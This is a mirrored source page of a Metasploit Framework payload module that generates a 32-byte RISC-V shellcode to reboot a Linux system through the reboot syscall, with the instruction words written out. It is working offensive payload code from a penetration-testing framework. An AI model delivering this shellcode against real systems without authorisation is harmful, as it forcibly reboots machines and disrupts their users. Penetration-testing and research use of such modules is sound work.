CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/riscv32le/reboot.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 32
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Linux Reboot',
17
'Description' => %q{
18
A very small shellcode for rebooting the system using
19
the reboot syscall. This payload is sometimes helpful
20
for testing purposes.
21
},
22
'Author' => 'bcoles',
23
'License' => MSF_LICENSE,
24
'Platform' => 'linux',
25
'Arch' => ARCH_RISCV32LE
26
)
27
)
28
end
29
30
def generate(_opts = {})
31
shellcode =
32
[0xfee1e537].pack('V*') + # lui a0,0xfee1e
33
[0xead50513].pack('V*') + # addi a0,a0,-339
34
[0x281225b7].pack('V*') + # lui a1,0x2812
35
[0x96958593].pack('V*') + # addi a1,a1,-1687
36
[0x01234637].pack('V*') + # lui a2,0x1234
37
[0x56760613].pack('V*') + # addi a2,a2,1383
38
[0x08e00893].pack('V*') + # li a7,142
39
[0x00000073].pack('V*') # ecall
40
41
super.to_s + shellcode
42
end
43
end
44
45